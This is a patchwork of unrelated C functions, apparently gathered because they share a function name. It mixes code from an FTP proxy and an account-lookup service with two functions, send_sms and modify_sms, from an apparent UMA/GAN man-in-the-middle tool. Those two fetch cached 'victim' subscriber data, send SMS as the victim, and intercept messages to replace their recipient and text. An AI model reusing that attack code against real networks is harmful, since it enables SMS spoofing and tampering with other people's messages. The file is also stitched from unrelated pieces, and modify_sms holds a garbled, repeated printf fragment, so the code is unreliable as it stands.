int send_sms(int sock, unsigned char *dest, unsigned char *text){ struct uma_msg_s *uma_msg; u_int8_t *titi, *tata; int j, i, len = 0; int rc = -1; uint8_t *tlv; uma_msg = uma_create_msg(GA_PROXY_GET_ID, 0, GA_PROXY); j = uma_create_buffer(&titi,uma_msg); for(i = 0; i < uma_msg->ntlv; i++){ tlv_printf(uma_msg->tlv[i]); } printf("Requesting a fresh victim information...\n"); write(sock, titi, j); uma_delete_msg(uma_msg); uma_msg = proxy_reply(sock, GA_PROXY); if(NULL == (tlv = handle_id_reply(uma_msg))){ fprintf(stderr, "proxy hasn't cached subscriber info yet...\n"); return -1; } if((rc = ga_csr_request(sock)) < 0){ return rc; } /* skip type and length of tlv and pass tmsi as parameter */ if((rc = ga_csr_uplink_dtap(sock, tlv+2, tlv_get_len(tlv))) < 0){ return rc; } uma_delete_msg(uma_msg); printf("Waiting for AUTH COMPLETE message so we can continue MITM\n"); uma_msg = proxy_reply(sock, GA_PROXY); if(!uma_msg){ return -2; } if(uma_msg->msgtype != GA_PROXY_AUTH_COMPLETE){ fprintf(stderr, "Expected GA_CSR_REQUEST_ACCEPT(%d) but got %s(%d)\n", GA_CSR_REQUEST_ACCEPT, ga_rc_csr[uma_msg->msgtype], uma_msg->msgtype); return -3; } printf("Received AUTH COMPLETE, continuing procedure\n"); uma_delete_msg(uma_msg); if((rc = ga_csr_uplink_dtap_sms(sock, dest, text, 1, 1)) < 0){ return rc; } return 0; }
int ga_csr_request(int sock){ struct uma_msg_s *uma_msg; u_int8_t *titi, *tata; int j, i, len = 0; uma_msg = uma_create_msg(GA_CSR_REQUEST ,0, GA_CSR); uma_msg->tlv[uma_msg->ntlv++] = create_IEI_Establishment_Cause(16); j = uma_create_buffer(&titi, uma_msg); printf("Sending GA-CSR REQUEST\n"); write(sock, titi, j); uma_delete_msg(uma_msg); uma_msg = proxy_reply(sock, GA_CSR); if(!uma_msg){ return -1; } if(uma_msg->msgtype != GA_CSR_REQUEST_ACCEPT){ fprintf(stderr, "Expected GA_CSR_REQUEST_ACCEPT(%d) but got %s(%d)\n", GA_CSR_REQUEST_ACCEPT, ga_rc_csr[uma_msg->msgtype], uma_msg->msgtype); uma_delete_msg(uma_msg); return -2; } uma_delete_msg(uma_msg); return 0; }
int client_parse_cmd(struct session *s) { if (strncasecmp("PASV", linebuf, 4) == 0) s->cmd = CMD_PASV; else if (strncasecmp("PORT ", linebuf, 5) == 0) s->cmd = CMD_PORT; else if (strncasecmp("EPSV", linebuf, 4) == 0) s->cmd = CMD_EPSV; else if (strncasecmp("EPRT ", linebuf, 5) == 0) s->cmd = CMD_EPRT; else return (1); if (ipv6_mode && (s->cmd == CMD_PASV || s->cmd == CMD_PORT)) { logmsg(LOG_CRIT, "PASV and PORT not allowed with IPv6"); return (0); } if (s->cmd == CMD_PORT || s->cmd == CMD_EPRT) { s->port = parse_port(s->cmd); if (s->port < MIN_PORT) { logmsg(LOG_CRIT, "#%d bad port in '%s'", s->id, linebuf); return (0); } s->proxy_port = pick_proxy_port(); proxy_reply(s->cmd, sstosa(&s->proxy_ss), s->proxy_port); logmsg(LOG_DEBUG, "#%d proxy: %s", s->id, linebuf); } return (1); }
int modify_sms(int sock, unsigned char *dest, unsigned char *text){ struct uma_msg_s *uma_msg; u_int8_t *titi, *tata; int j, i, len = 0; int rc = -1; uint8_t *tpdu, *ptr; uint8_t rpdu_mr; /* could be just one data type, but since I reuse my old submit decoder... */ struct gsm_sms *sms; sms_t *csms; unsigned char *pdest, *ptext; uma_msg = uma_create_msg(GA_PROXY_GET_SMS, 0, GA_PROXY); j = uma_create_buffer(&titi,uma_msg); for(i = 0; i < uma_msg->ntlv; i++){ tlv_printf(uma_msg->tlv[i]); } printf("Requesting SMS to be modified...\n"); write(sock, titi, j); uma_delete_msg(uma_msg); uma_msg = proxy_reply(sock, GA_CSR); if(NULL == (tpdu = extract_tpdu(uma_msg, &rpdu_mr))){ return -1; } if(NULL == (csms = malloc(sizeof(sms_t)))){ perror("malloc()"); return -2; } memset(csms, 0, sizeof(sms_t)); if(NULL == (ptext = malloc(SMS_TEXT_SIZE))){ perror("malloc()"); return -2; } if(NULL == (ptr = parse_pdu_header(csms, tpdu))){ fprintf(stderr, "Something went wrong while decoding the submit PDU\n"); return -3; } for(i=0;i<csms->msisdn_l;i++){ printf("%0.2x", csms->msisdn[i]); } printf("\n");{ printf("%0.2x", csms->msisdn[i]); } printf("\n");{ printf("%0.2x", csms->msisdn[i]); } printf("\n");{ printf("%0.2x", csms->msisdn[i]); } printf("\n");{ printf("%0.2x", csms->msisdn[i]); } printf("\n");{ printf("%0.2x", csms->msisdn[i]); } printf("\n");{ printf("%0.2x", csms->msisdn[i]); } printf("\n"); pdest = decode_msisdn(csms->msisdn, csms->msisdn_l); /* workaround libosmocore bug to work with octets rather than septets */ csms->tp_ud_l = csms->tp_ud_l * 7/8 + 1; gsm_7bit_decode(ptext, ptr, csms->tp_ud_l); printf("Original destination: %s\n", pdest); printf("Original text message: %s\n", ptext); if(dest){ printf("Replacing destination number %s with %s\n", pdest, dest); pdest = dest; } if(text){ printf("Replacing text '%s' with '%s'\n", ptext, text); free(ptext); ptext = text; } printf("Attempting to send modified SMS\n"); rc = ga_csr_uplink_dtap_sms(sock, pdest, ptext, csms->msg_ref, rpdu_mr); uma_delete_msg(uma_msg); destroy_sms(csms); free(tpdu); return rc; }
int allow_data_connection(struct session *s) { struct sockaddr *client_sa, *orig_sa, *proxy_sa, *server_sa; int prepared = 0; /* * The pf rules below do quite some NAT rewriting, to keep up * appearances. Points to keep in mind: * 1) The client must think it's talking to the real server, * for both control and data connections. Transparently. * 2) The server must think that the proxy is the client. * 3) Source and destination ports are rewritten to minimize * port collisions, to aid security (some systems pick weak * ports) or to satisfy RFC requirements (source port 20). */ /* Cast this once, to make code below it more readable. */ client_sa = sstosa(&s->client_ss); server_sa = sstosa(&s->server_ss); proxy_sa = sstosa(&s->proxy_ss); if (fixed_server) /* Fixed server: data connections must appear to come from / go to the original server, not the fixed one. */ orig_sa = sstosa(&s->orig_server_ss); else /* Server not fixed: orig_server == server. */ orig_sa = sstosa(&s->server_ss); /* Passive modes. */ if (s->cmd == CMD_PASV || s->cmd == CMD_EPSV) { s->port = parse_port(s->cmd); if (s->port < MIN_PORT) { logmsg(LOG_CRIT, "#%d bad port in '%s'", s->id, linebuf); return (0); } s->proxy_port = pick_proxy_port(); logmsg(LOG_INFO, "#%d passive: client to server port %d" " via port %d", s->id, s->port, s->proxy_port); if (prepare_commit(s->id) == -1) goto fail; prepared = 1; proxy_reply(s->cmd, orig_sa, s->proxy_port); logmsg(LOG_DEBUG, "#%d proxy: %s", s->id, linebuf); /* pass in from $client to $orig_server port $proxy_port rdr-to $server port $port */ if (add_rdr(s->id, client_sa, s->client_rd, orig_sa, s->proxy_port, server_sa, s->port, getrtable()) == -1) goto fail; /* pass out from $client to $server port $port nat-to $proxy */ if (add_nat(s->id, client_sa, getrtable(), server_sa, s->port, proxy_sa, PF_NAT_PROXY_PORT_LOW, PF_NAT_PROXY_PORT_HIGH) == -1) goto fail; } /* Active modes. */ if (s->cmd == CMD_PORT || s->cmd == CMD_EPRT) { logmsg(LOG_INFO, "#%d active: server to client port %d" " via port %d", s->id, s->port, s->proxy_port); if (prepare_commit(s->id) == -1) goto fail; prepared = 1; /* pass in from $server to $proxy port $proxy_port rdr-to $client port $port */ if (add_rdr(s->id, server_sa, getrtable(), proxy_sa, s->proxy_port, client_sa, s->port, s->client_rd) == -1) goto fail; /* pass out from $server to $client port $port nat-to $orig_server port $natport */ if (rfc_mode && s->cmd == CMD_PORT) { /* Rewrite sourceport to RFC mandated 20. */ if (add_nat(s->id, server_sa, s->client_rd, client_sa, s->port, orig_sa, 20, 20) == -1) goto fail; } else { /* Let pf pick a source port from the standard range. */ if (add_nat(s->id, server_sa, s->client_rd, client_sa, s->port, orig_sa, PF_NAT_PROXY_PORT_LOW, PF_NAT_PROXY_PORT_HIGH) == -1) goto fail; } } /* Commit rules if they were prepared. */ if (prepared && (do_commit() == -1)) { if (errno != EBUSY) goto fail; /* One more try if busy. */ usleep(5000); if (do_commit() == -1) goto fail; } s->cmd = CMD_NONE; s->port = 0; return (1); fail: logmsg(LOG_CRIT, "#%d pf operation failed: %s", s->id, strerror(errno)); if (prepared) do_rollback(); return (0); }
void proxy_get_account_info(struct be_req *breq) { struct be_acct_req *ar; struct proxy_id_ctx *ctx; struct sysdb_ctx *sysdb; struct sss_domain_info *domain; uid_t uid; gid_t gid; int ret; char *endptr; ar = talloc_get_type(breq->req_data, struct be_acct_req); ctx = talloc_get_type(breq->be_ctx->bet_info[BET_ID].pvt_bet_data, struct proxy_id_ctx); sysdb = breq->be_ctx->sysdb; domain = breq->be_ctx->domain; if (be_is_offline(breq->be_ctx)) { return proxy_reply(breq, DP_ERR_OFFLINE, EAGAIN, "Offline"); } /* for now we support only core attrs */ if (ar->attr_type != BE_ATTR_CORE) { return proxy_reply(breq, DP_ERR_FATAL, EINVAL, "Invalid attr type"); } switch (ar->entry_type & 0xFFF) { case BE_REQ_USER: /* user */ switch (ar->filter_type) { case BE_FILTER_ENUM: ret = enum_users(breq, ctx, sysdb, domain); break; case BE_FILTER_NAME: ret = get_pw_name(breq, ctx, sysdb, domain, ar->filter_value); break; case BE_FILTER_IDNUM: uid = (uid_t) strtouint32(ar->filter_value, &endptr, 10); if (errno || *endptr || (ar->filter_value == endptr)) { return proxy_reply(breq, DP_ERR_FATAL, EINVAL, "Invalid attr type"); } ret = get_pw_uid(breq, ctx, sysdb, domain, uid); break; default: return proxy_reply(breq, DP_ERR_FATAL, EINVAL, "Invalid filter type"); } break; case BE_REQ_GROUP: /* group */ switch (ar->filter_type) { case BE_FILTER_ENUM: ret = enum_groups(breq, ctx, sysdb, domain); break; case BE_FILTER_NAME: ret = get_gr_name(breq, ctx, sysdb, domain, ar->filter_value); break; case BE_FILTER_IDNUM: gid = (gid_t) strtouint32(ar->filter_value, &endptr, 10); if (errno || *endptr || (ar->filter_value == endptr)) { return proxy_reply(breq, DP_ERR_FATAL, EINVAL, "Invalid attr type"); } ret = get_gr_gid(breq, ctx, sysdb, domain, gid, 0); break; default: return proxy_reply(breq, DP_ERR_FATAL, EINVAL, "Invalid filter type"); } break; case BE_REQ_INITGROUPS: /* init groups for user */ if (ar->filter_type != BE_FILTER_NAME) { return proxy_reply(breq, DP_ERR_FATAL, EINVAL, "Invalid filter type"); } if (ctx->ops.initgroups_dyn == NULL) { return proxy_reply(breq, DP_ERR_FATAL, ENODEV, "Initgroups call not supported"); } ret = get_initgr(breq, ctx, sysdb, domain, ar->filter_value); break; case BE_REQ_NETGROUP: if (ar->filter_type != BE_FILTER_NAME) { return proxy_reply(breq, DP_ERR_FATAL, EINVAL, "Invalid filter type"); } if (ctx->ops.setnetgrent == NULL || ctx->ops.getnetgrent_r == NULL || ctx->ops.endnetgrent == NULL) { return proxy_reply(breq, DP_ERR_FATAL, ENODEV, "Netgroups are not supported"); } ret = get_netgroup(ctx, sysdb, domain, ar->filter_value); break; case BE_REQ_SERVICES: switch (ar->filter_type) { case BE_FILTER_NAME: if (ctx->ops.getservbyname_r == NULL) { return proxy_reply(breq, DP_ERR_FATAL, ENODEV, "Services are not supported"); } ret = get_serv_byname(ctx, sysdb, domain, ar->filter_value, ar->extra_value); break; case BE_FILTER_IDNUM: if (ctx->ops.getservbyport_r == NULL) { return proxy_reply(breq, DP_ERR_FATAL, ENODEV, "Services are not supported"); } ret = get_serv_byport(ctx, sysdb, domain, ar->filter_value, ar->extra_value); break; case BE_FILTER_ENUM: if (!ctx->ops.setservent || !ctx->ops.getservent_r || !ctx->ops.endservent) { return proxy_reply(breq, DP_ERR_FATAL, ENODEV, "Services are not supported"); } ret = enum_services(ctx, sysdb, domain); break; default: return proxy_reply(breq, DP_ERR_FATAL, EINVAL, "Invalid filter type"); } break; default: /*fail*/ return proxy_reply(breq, DP_ERR_FATAL, EINVAL, "Invalid request type"); } if (ret) { if (ret == ENXIO) { DEBUG(2, ("proxy returned UNAVAIL error, going offline!\n")); be_mark_offline(breq->be_ctx); } proxy_reply(breq, DP_ERR_FATAL, ret, NULL); return; } proxy_reply(breq, DP_ERR_OK, EOK, NULL); }